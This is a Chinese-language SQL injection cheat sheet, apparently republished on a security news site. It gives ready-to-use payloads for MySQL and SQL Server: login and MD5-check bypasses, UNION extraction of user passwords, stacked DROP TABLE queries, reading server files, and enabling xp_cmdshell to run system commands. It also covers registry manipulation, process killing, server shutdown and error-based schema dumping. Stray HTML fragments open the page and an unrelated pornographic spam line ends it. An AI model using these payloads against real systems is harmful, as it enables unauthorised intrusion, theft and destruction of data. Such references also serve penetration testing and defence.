<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    SQL注入速查表

    VSole2022-07-29 09:22:37

    0x00 關于SQL注入速查表

    現在僅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分樣例都不能保證每一個場景都適用。現實場景由于各種插入語、不同的代碼環境以及各種不常見甚至奇特的SQL語句,而經常發生變化。

    樣例僅用于讀者理解對于“可能出現的攻擊(a potential attack)”的基礎概念,并且幾乎每一個部分都有一段簡潔的概要

    • M: MySQL
    • S: SQL Server
    • P: PostgreSQL
    • O: Oracle
    • +: (大概)其他所有數據庫

    例子

    • (MS) 代表 : MySQL 和 SQL Server 等
    • (M*S) 代表 : 僅對某些版本或者某些附在后文中的特殊情況的 MySQL,以及SQL Server

    0x01 目錄

    1. 關于SQL注入速查表
    2. 語法參考,攻擊樣例以及注入小技巧
    3. 獲取用戶定義表
    4. 獲取字段名
    5. @@version(MS)
    6. 文件插入(Bulk Insert)(S)
    7. BCP(S)
    8. SQL Server的VBS/WSH(S)
    9. 執行系統命令,xp_cmdshell(S)
    10. SQL Server中的一些特殊的表(S)
    11. SQL Server的其它內置程序(S)
    12. 大量MSSQL筆記
    13. 使用LIMIT(M)或ORDER(MSO)的注入
    14. 關掉SQL Server(S)
    15. 獲取字段類型
    16. 使用HAVING來探測字段名(S)
    17. SELECT查詢中使用ORDER BY探測字段數(MSO+)
    18. 繞過MD5哈希檢查的例子(MSP)
    19. UNION-語言問題處理
    20. 使用了16進制的注入攻擊樣例
    21. 字符串的串聯
    22. MySQL的If語句
    23. SQL Server的If語句
    24. 使用了If語句的注入攻擊樣例
    25. 支持堆疊查詢的語言/數據庫
    26. 關于MySQL和PHP
    27. 堆疊注入攻擊樣例
    28. 使用了行內注釋的注入攻擊樣例
    29. MySQL版本探測攻擊樣例
    30. 使用了行間注釋的SQL注入攻擊樣例
    31. 行間注釋
    32. 行內注釋
    33. 堆疊查詢(Stacking Queries)
    34. If語句
    35. 整數(Integers)的使用
    36. 字符串操作
    37. 沒有引號的字符串
    38. 字符串異化(Modification)與聯系
    39. Union注入
    40. 繞過登陸界面(SMO+)
    41. 繞過檢查MD5哈希的登陸界面
    42. 基于錯誤(Error Based)-探測字段名
    43. 數據類型、UNION、之類的
    44. 簡單的注入(MSO+)
    45. 有用的函數、信息收集、內置程序、大量注入筆記
    46. 在SQL Server 2005中啟用xp_cmdshell
    47. 探測SQL Server數據庫的結構(S)
    48. 移動記錄(Moving records)(S)
    49. 快速的脫掉基于錯誤(Error Based)的SQL Server注入(S)

    0x02 語法參考,攻擊樣例以及注入小技巧

    行間注釋

    注釋掉查詢語句的其余部分

    行間注釋通常用于注釋掉查詢語句的其余部分,這樣你就不需要去修復整句語法了。

    • --(SM)
    • DROP sampletable;--
    • #(M)
    • DROP sampletable;#

    使用了行間注釋的SQL注入攻擊樣例

    用戶名:admin'--
    • 構成語句:SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 這會使你以admin身份登陸,因為其余部分的SQL語句被注釋掉了。

    行內注釋

    通過不關閉注釋注釋掉查詢語句的其余部分,或者用于繞過過濾,移除空格,混淆,或探測數據庫版本。

    • /*注釋內容*/(SM)
    • DROP/*comment*/sampletable
    • DR/**/OP/*繞過過濾*/sampletable
    • SELECT/*替換空格*/password/**/FROM/**/Members
    • /*! MYSQL專屬 */ (M)
    • 這是個MySQL專屬語法。非常適合用于探測MySQL版本。如果你在注釋中寫入代碼,只有MySQL才會執行。同樣的你也可以用這招,使得只有高于某版本的服務器才執行某些代碼。 SELECT /*!32302 1/0, */ 1 FROM tablename

    使用了行內注釋的注入攻擊樣例

    ID:10; DROP TABLE members /*

    簡單地擺脫了處理后續語句的麻煩,同樣你可以使用10; DROP TABLE members --

    MySQL版本探測攻擊樣例

    SELECT /*!32302 1/0, */ 1 FROM tablename

    如果MySQL的版本高于3.23.02,會拋出一個division by 0 error

    ID:/*!32302 10*/
    ID:10

    如果MySQL版本高于3.23.02,以上兩次查詢你將得到相同的結果

    堆疊查詢(Stacking Queries)

    一句代碼之中執行多個查詢語句,這在每一個注入點都非常有用,尤其是使用SQL Server后端的應用

    • ;(S) SELECT * FROM members; DROP members-- 結束一個查詢并開始一個新的查詢

    支持堆疊查詢的語言/數據庫

    綠色:支持,暗灰色:不支持,淺灰色:未知

    關于MySQL和PHP

    闡明一些問題。

    PHP-MySQL不支持堆疊查詢,Java不支持堆疊查詢(ORACLE的我很清楚,其他的就不確定了)。一般來說MySQL支持堆疊查詢,但由于大多數PHP-Mysql應用框架的數據庫層都不能執行第二條查詢,或許MySQL的客戶端支持這個,我不確定,有人能確認一下嗎?

    (譯者注:MySQL 5.6.20版本下客戶端支持堆疊查詢)

    堆疊注入攻擊樣例

    ID:10;DROP members --

    構成語句:SELECT * FROM products WHERE id = 10; DROP members--

    這在執行完正常查詢之后將會執行DROP查詢。

    If語句

    根據If語句得到響應。這是盲注(Blind SQL Injection)的關鍵之一,同樣也能簡單而準確地進行一些測試。

    MySQL的If語句

    • IF(condition,true-part,false-part)(M)
    SELECT IF (1=1,'true','false')

    SQL Server的If語句

    • IF condition true-part ELSE false-part(S)
    IF (1=1) SELECT 'true' ELSE SELECT 'false'

    使用了If語句的注入攻擊樣例

    if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0(S)

    如果當前用戶不是"sa"或者"dbo",就會拋出一個divide by zero error

    整數(Integers)的使用

    對于繞過十分有用,比如magic_quotes() 和其他類似過濾器,甚至是各種WAF。

    • 0xHEXNUMBER(SM)
    • (HEXNUMBER:16進制數) 你能這樣使用16進制數:
    • SELECT CHAR(0x66)(S)
    • SELECT 0x5045(M) (這不是一個整數,而會是一個16進制字符串)
    • SELECT 0x50 + 0x45(M) (現在這是整數了)

    字符串操作

    與字符串相關的操作。這對于構造一個不含有引號,用于繞過或探測數據庫都非常的有用。

    字符串的串聯

    • +(S)
    • SELECT login + '-' + password FROM members
    • || (*MO)
    • SELECT login || '-' || password FROM members

    *關于MySQL的"||" 這個僅在ANSI模式下的MySQL執行,其他情況下都會當成'邏輯操作符'并返回一個0。更好的做法是使用CONCAT()函數。

    • CONCAT(str1, str2, str3, ...)(M)
    • 連接參數里的所有字符串 例:SELECT CONCAT(login, password) FROM members

    沒有引號的字符串

    有很多使用字符串的方法,但是這幾個方法是一直可用的。使用CHAR()(MS)和CONCAT()(M)來生成沒有引號的字符串

    • 0x457578 (M) - 16進制編碼的字符串
    • SELECT 0x457578
    • 這在MySQL中會被當做字符串處理
    • 在MySQL中使用16進制字符串的一個簡單方式: SELECT CONCAT('0x',HEX('c:\\boot.ini'))
    • 在MySQL中使用CONCAT()函數: SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
    • 這會返回'KLM'
    • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
    • 這會返回'KLM'

    使用了16進制的注入攻擊樣例

    • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
    • 這會顯示c:\boot.ini的內容

    字符串異化(Modification)與聯系

    • ASCII() (SMP)
    • 返回最左邊字符的ASCII碼的值。這是一個用于盲注的重要函數。
    • 例:SELECT ASCII('a')
    • CHAR() (SM)
    • 把整數轉換為對應ASCII碼的字符
    • 例:SELECT CHAR(64)

    Union注入

    通過union你能跨表執行查詢。最簡單的,你能注入一個查詢使得它返回另一個表的內容。 SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members

    這會把news表和members表的內容合并返回。

    另一個例子: ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

    UNION-語言問題處理

    當你使用Union來注入的時候,經常會遇到一些錯誤,這是由于不同的語言的設置(表的設置、字段設置、表或數據庫的設置等等)。這些辦法對于解決那些問題都挺有用的,尤其是當你處理日文,俄文,土耳其文的時候你會就會見到他們的。

    • 使用 COLLATE SQL_Latin1_General_Cp1254_CS_AS(S)
    • 或者其它的什么語句,具體的自己去查SQL Server的文檔。例:SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
    • Hex()(M)
    • 百試百靈~

    繞過登陸界面(SMO+)

    SQL注入101式(大概是原文名字吧?),登陸小技巧

    • admin' --
    • admin' #
    • admin'/*
    • ' or 1=1--
    • ' or 1=1#
    • ' or 1=1/*
    • ') or '1'='1--
    • ') or ('1'='1--
    • ....
    • 以不同的用戶登陸 (SM*) ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

    **舊版本的MySQL不支持union*

    繞過檢查MD5哈希的登陸界面

    如果應用是先通過用戶名,讀取密碼的MD5,然后和你提供的密碼的MD5進行比較,那么你就需要一些額外的技巧才能繞過驗證。你可以把一個已知明文的MD5哈希和它的明文一起提交,使得程序不使用從數據庫中讀取的哈希,而使用你提供的哈希進行比較。

    繞過MD5哈希檢查的例子(MSP)

    用戶名:admin
    密碼:1234 ' AND 1=0 UNION ALL SELECT 'admin','81dc9bdb52d04dc20036dbd8313ed055

    其中81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

    基于錯誤(Error Based)-探測字段名

    使用HAVING來探測字段名(S)

    • ' HAVING 1=1 --
    • ' GROUP BY table.columnfromerror1 HAVING 1=1 --
    • ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
    • ……
    • ' GROUP BY table.columnfromerror1, columnfromerror2,columnfromerror(n) HAVING 1=1 --
    • 直到它不再報錯,就算搞定了

    SELECT查詢中使用ORDER BY探測字段數(MSO+)

    通過ORDER BY來探測字段數能夠加快union注入的速度。

    • ORDER BY 1--
    • ORDER BY 2--
    • ……
    • ORDER BY N--
    • 一直到它報錯為止,最后一個成功的數字就是字段數。

    數據類型、UNION、之類的

    提示:

    • 經常給UNION配上ALL使用,因為經常會有相同數值的字段,而缺省情況下UNION都會嘗試返回唯一值(records with distinct)
    • 如果你每次查詢只能有一條記錄,而你不想讓原本正常查詢的記錄占用這寶貴的記錄位,你可以使用-1或者根本不存在的值來搞定原查詢(前提是注入點在WHERE里)。
    • 在UNION中使用NULL,對于大部分數據類型來說這樣都比瞎猜字符串、日期、數字之類的來得強
    • 盲注的時候要小心判斷錯誤是來自應用的還是來自數據庫的。因為像ASP.NET就經常會在你使用NULL的時候拋出錯誤(因為開發者們一般都沒想到用戶名的框中會出現NULL)

    獲取字段類型

    • ' union select sum(columntofind) from users-- (S)
    • Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a **varchar** data type as an argument. 如果沒有返回錯誤說明字段是數字類型
    • 同樣的,你可以使用CAST()CONVERT()
    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
    • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
    • 沒報錯 - 語法是正確的。這是MS SQL Server的語法。繼續。
    • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
    • 沒報錯 – 第一個字段是integer類型。
    • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
    • 報錯 – 第二個字段不是integer類型
    • 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
    • 沒報錯 – 第二個字段是string類型。
    • 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
    • 報錯 – 第三個字段不是integer
    • ……
    • Microsoft OLE DB Provider for SQL Server error '80040e07' Explicit conversion from data type int to image is not allowed.

    你在遇到union錯誤之前會先遇到convert()錯誤,所以先使用convert()再用union

    簡單的注入(MSO+)

    '; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

    有用的函數、信息收集、內置程序、大量注入筆記

    @@version(MS)

    數據庫的版本。這是個常量,你能把它當做字段來SELECT,而且不需要提供表名。同樣的你也可以用在INSERT/UPDATE語句里面,甚至是函數里面。

    INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

    文件插入(Bulk Insert)(S)

    把文件內容插入到表中。如果你不知道應用目錄你可以去讀取IIS metabase file(僅IIS 6)(%systemroot%\system32\inetsrv\MetaBase.xml)然后在里面找到應用目錄。

    1. 新建一個表foo(line varchar(8000))
    2. BULK INSERT foo FROM 'c:\inetpub\wwwroot\login.asp'
    3. DROP了臨時表,重復另一個文件

    BCP(S)

    寫入文件。這個功能需要登錄 bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

    SQL Server的VBS/WSH(S)

    由于ActiveX的支持,你能在SQL Server中使用VBS/WSH

    declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

    Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

    執行系統命令,xp_cmdshell(S)

    眾所周知的技巧,SQL Server 2005默認是關閉的。你需要admin權限

    EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

    用ping簡單的測試一下,用之前先檢查一下防火墻和嗅探器。

    EXEC master.dbo.xp_cmdshell 'ping '

    如果有錯誤,或者union或者其他的什么,你都不能直接讀到結果。

    SQL Server中的一些特殊的表(S)

    • Error Messages
    • master..sysmessages
    • Linked Servers
    • master..sysservers
    • Password (2000和2005版本的都能被破解,這倆的加密算法很相似)
    • SQL Server 2000: masters..sysxlogins
    • SQL Server 2005 : sys.sql_logins

    SQL Server的其它內置程序(S)

    1. 命令執行 (xp_cmdshell)
    2. exec master..xp_cmdshell 'dir'
    3. 注冊表操作 (xp_regread)
    4. xp_regaddmultistring
    5. xp_regdeletekey
    6. xp_regdeletevalue
    7. xp_regenumkeys
    8. xp_regenumvalues
    9. xp_regread
    10. xp_regremovemultistring
    11. xp_regwrite
    12. exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet \Services\lanmanserver\parameters', 'nullsessionshares' exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM \CurrentControlSet \Services\snmp\parameters\validcommunities'
    13. 管理服務(xp_servicecontrol)
    14. 媒體(xp_availablemedia)
    15. ODBC 資源 (xp_enumdsn)
    16. 登錄 (xp_loginconfig)
    17. 創建Cab文件 (xp_makecab)
    18. 域名列舉 (xp_ntsec_enumdomains)
    19. 殺進程 (need PID) (xp_terminate_process)
    20. 新建進程 (實際上你想干嘛都行)
    21. sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ exec xp_webserver
    22. 寫文件進UNC或者內部路徑 (sp_makewebtask)

    大量MSSQL筆記

    SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

    DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

    HOST_NAME() IS_MEMBER (Transact-SQL)

    IS_SRVROLEMEMBER (Transact-SQL)

    OPENDATASOURCE (Transact-SQL)

    INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

    OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

    你不能在 SQL Server 的Insert查詢里使用子查詢(sub select).

    使用LIMIT(M)或ORDER(MSO)的注入

    SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

    如果注入點在LIMIT的第二個參數處,你可以把它注釋掉或者使用union注入。

    關掉SQL Server(S)

    如果你真的急了眼,';shutdown --

    在SQL Server 2005中啟用xp_cmdshell

    默認情況下,SQL Server 2005中像xp_cmdshell以及其它危險的內置程序都是被禁用的。如果你有admin權限,你就可以啟動它們。

    `\ EXEC sp_configure 'show advanced options',1 RECONFIGURE

    EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE `\

    探測SQL Server數據庫的結構(S)

    獲取用戶定義表

    SELECT name FROM sysobjects WHERE xtype = 'U'

    獲取字段名

    SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

    移動記錄(Moving records)(S)

    • 修改WHERE,使用NOT IN或者NOT EXIST ... WHERE users NOT IN ('First User', 'Second User') SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- 這個好用
    • 臟的不行的小技巧
    • SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int
    • Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

    快速的脫掉基于錯誤(Error Based)的SQL Server注入(S)

    ';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @[email protected]+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

    文章來源:LemonSec
    sql注入select
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    SQL注入速查表
    2022-07-29 09:22:37
    現在僅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分樣例都不能保證每一個場景都適用。現實場景由于各種插入語、不同的代碼環境以及各種不常見甚至奇特的SQL語句,而經常發生變化。
    id=3';對應的sqlselect * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    id=1' order by 3# 沒有報錯,說明存在3列。id=-1' union select 1,group_concat,3 from 數據庫名.數據表名--+拓展一些其他函數:system_user() 系統用戶名。updatexml函數:細節問題:extractvalue()基本一樣,改個關鍵字updatexml即可,與extractvalue有個很大的區別實在末尾注入加上,如:,而extractvalue函數末尾不加1(數值)?
    sql注入原理:業務端代碼從客戶端接收到惡意payload之后沒有進行過濾直接進行sql語句拼接并且執行造成sql注入本人正在拜讀一本代碼審計的書感覺非常的棒,剛剛好室友在挑戰自己,就順便整理一下知識點!看了一下也沒問題,繼續往下走,發現室友mybatis里的sql全部是使用$拼接的!
    在云SQL上獲取shell
    2022-07-18 17:00:27
    云上的關系數據庫服務,它是由 Google 保護、監控和更新的SQL、PostgreSQL 或 MySQL的服務器。托管 MySQL 實例的限制由于Cloud SQL是一項完全托管的服務,因此用戶無權訪問某些功能。在MySQL中,SUPER權限保留用于系統管理相關任務,FILE權限用于讀取/寫入運行 MySQL服務器上的文件。
    代碼審計,說白了就是白盒測試,審查代碼檢查是否有安全問題,核心就兩點:跟蹤用戶輸入數據+敏感函數參數回溯。
    未正確驗證用戶輸入的應用程序使它們容易受到 SQL 注入的攻擊。SQL 注入攻擊 發生在攻擊者能夠通過操縱用戶輸入數據將一系列惡意 SQL 語句插入“查詢”以供后端數據庫執行時。使用這種類型的威脅,應用程序可以很容易地被黑客入侵并被攻擊者竊取機密數據。
    我見過的流量分析類型的題目總結: 一,ping 報文信息? 二,上傳/下載文件 三,sql注入攻擊 四,訪問特定的加密解密網站 五,后臺掃描+弱密碼爆破+菜刀 六,usb流量分析 七,WiFi無線密碼破解 八,根據一組流量包了解黑客的具體行為例題:一,ping 報文信息?如果是菜刀下載文件的流量,需要刪除分組字節流前開頭和結尾的X@Y字符,否則下載的文件會出錯。
    SQL手工注入總結
    2021-11-11 08:19:35
    雖說目前互聯網上已經有很多關于 sql 注入的神器了,但是在這個 WAF 橫行的時代,手工注入往往在一些真實環境中會顯得尤為重要。本文主要把以前學過的知識做個總結,不會有詳細的知識解讀,類似于查詢手冊的形式,便于以后的復習與查閱,文中內容可能會存在錯誤,望師傅們斧正!
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类